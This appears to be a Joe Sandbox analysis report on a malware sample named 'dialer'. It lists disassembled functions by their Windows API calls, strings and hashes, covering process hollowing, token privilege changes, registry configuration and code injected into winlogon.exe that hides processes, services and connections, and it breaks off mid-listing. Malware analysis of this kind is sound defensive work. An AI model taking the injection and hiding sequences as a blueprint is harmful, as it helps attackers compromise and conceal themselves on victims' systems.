Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 560, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.2%
Signature Coverage:	0%
Total number of Nodes:	126
Total number of Limit Nodes:	16

Executed Functions

Function 000002D0165E1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E1633
HeapAlloc.KERNEL32 ref: 000002D0165E1642

Part of subcall function 000002D0165E1268: GetProcessHeap.KERNEL32 ref: 000002D0165E126E
Part of subcall function 000002D0165E1268: HeapAlloc.KERNEL32 ref: 000002D0165E127D
Part of subcall function 000002D0165E1268: GetProcessHeap.KERNEL32 ref: 000002D0165E1297
Part of subcall function 000002D0165E1268: HeapAlloc.KERNEL32 ref: 000002D0165E12A8

RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16B2
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16DF
RegCloseKey.ADVAPI32 ref: 000002D0165E16F9
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1719
RegCloseKey.ADVAPI32 ref: 000002D0165E1734
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1754
RegCloseKey.ADVAPI32 ref: 000002D0165E176F
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E178F
RegCloseKey.ADVAPI32 ref: 000002D0165E17AA
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17CA
RegCloseKey.ADVAPI32 ref: 000002D0165E17E5
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1805
RegCloseKey.ADVAPI32 ref: 000002D0165E1820
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1840
RegCloseKey.ADVAPI32 ref: 000002D0165E185B
RegOpenKeyExW.ADVAPI32 ref: 000002D0165E187B
RegCloseKey.ADVAPI32 ref: 000002D0165E1896
RegCloseKey.ADVAPI32 ref: 000002D0165E18A0

Part of subcall function 000002D0165E12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E1319
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E1327
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E1338
Part of subcall function 000002D0165E12BC: RegEnumValueW.ADVAPI32 ref: 000002D0165E1397
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E13DF
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E13ED
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E140A
Part of subcall function 000002D0165E12BC: HeapFree.KERNEL32 ref: 000002D0165E1418
Part of subcall function 000002D0165E12BC: lstrlenW.KERNEL32 ref: 000002D0165E1421
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E142F
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E143D

Strings

tcp_remote, xrefs: 000002D0165E1839
service_names, xrefs: 000002D0165E17C3
startup, xrefs: 000002D0165E16D5
process_names, xrefs: 000002D0165E174D
SOFTWARE\dialerconfig, xrefs: 000002D0165E1692
tcp_local, xrefs: 000002D0165E17FE
paths, xrefs: 000002D0165E1788
udp, xrefs: 000002D0165E1874
pid, xrefs: 000002D0165E1712

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 5ecbaa186e8d59cd892059c32c6735f956b01256b6e0a22be3f8683e5b015701
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: EE711936210A9086EB209FB6ECD8B9973A5F784B89F801112DE4E47B78EF35C954C744

Function 000002D0165E3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002D0165E379E
GetCurrentProcess.KERNEL32 ref: 000002D0165E37CC
VirtualProtectEx.KERNEL32 ref: 000002D0165E37EE
GetCurrentProcess.KERNEL32 ref: 000002D0165E3809
VirtualProtectEx.KERNEL32 ref: 000002D0165E382A

Strings

wr, xrefs: 000002D0165E37FF

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 4674d9df3d536e982c299afeb10ddbd57cf0d0b09ef677d7c97c0013872c700b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 6411A126305781C2FF149B61F848769B2B4F748B85F84002ADE8D03765EF3ECA05C714

Function 000002D0165E5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5B6B
GetThreadContext.KERNEL32 ref: 000002D0165E5CD5

Part of subcall function 000002D0165E5960: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5964

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: d170addcbda7b12596392159c148f3388fdea41b115c5373cd1e58d87ea25250
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 01D18B76205B8882DB709B56E8D435AB7A0F388B88F504117EACD47BB5DF3ECA55CB40

Function 000002D0165E50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5156

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: c79f08a0408f7d8f647ff0ca48cb583e9eb7eb6c6cfc1174afee583460d097fa
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 5402A832619BC486EB60CB95E89435AF7A1F3C4794F504016EACE87BA9DF7EC954CB00

Function 000002D0165E39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002D0165E3A66
VirtualAlloc.KERNEL32 ref: 000002D0165E3AA0

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 28efb8197a5b457b3dea2d752150fd58e1380e9d813bcaab70eb5bc99618508c
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: B9311722219AC481EF30DB95E89935EE6A0F384784F900526F5CD467B9DF7ECB808B04

Function 000002D0165E328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002D0165E32AE
PathFindFileNameW.SHLWAPI ref: 000002D0165E32BD

Part of subcall function 000002D0165E3844: StrCmpNIW.SHLWAPI ref: 000002D0165E385C

Part of subcall function 000002D0165E3790: GetModuleHandleW.KERNEL32 ref: 000002D0165E379E
Part of subcall function 000002D0165E3790: GetCurrentProcess.KERNEL32 ref: 000002D0165E37CC
Part of subcall function 000002D0165E3790: VirtualProtectEx.KERNEL32 ref: 000002D0165E37EE
Part of subcall function 000002D0165E3790: GetCurrentProcess.KERNEL32 ref: 000002D0165E3809
Part of subcall function 000002D0165E3790: VirtualProtectEx.KERNEL32 ref: 000002D0165E382A

CreateThread.KERNEL32 ref: 000002D0165E330B

Part of subcall function 000002D0165E1D14: GetCurrentThread.KERNEL32 ref: 000002D0165E1D1F

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 9ff0edd3e6e9ab198c3d17986b58ccebaadaacc8bbb4bde1db76d12e6f3558f5
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 1C1161306147C182FF6097E1FDCDB69A298AB58345FD0512BE90E815F6EF7ACE44C210

Function 000002D0165E4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002D0165E4DF4
VirtualProtect.KERNEL32 ref: 000002D0165E4E37
FlushInstructionCache.KERNEL32 ref: 000002D0165E4E4C

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: d1e0e70aa0f07598b53ed8611aa5d9f6cf8e10010ed7fed8d00852c42d35725f
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: FFF0BD26219B84C1DB30DB85E89575AABA0F3887D4F945117BACD47B79CA3ECA908B40

Function 000002D01658273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002D0165827DB
LoadLibraryA.KERNELBASE ref: 000002D01658285E

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 0197585b0632c450f7244b768ee28b396eb2739c6a19c1b09bc8c1b93abfbced
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 01610532B016D087EB54CF56988872D7B9AF754BD4F98C122DE5D07B98DA34DC92C780

Function 000002D0165E1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002D0165E1628: GetProcessHeap.KERNEL32 ref: 000002D0165E1633
Part of subcall function 000002D0165E1628: HeapAlloc.KERNEL32 ref: 000002D0165E1642
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16B2
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16DF
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E16F9
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1719
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1734
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1754
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E176F
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E178F
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17AA
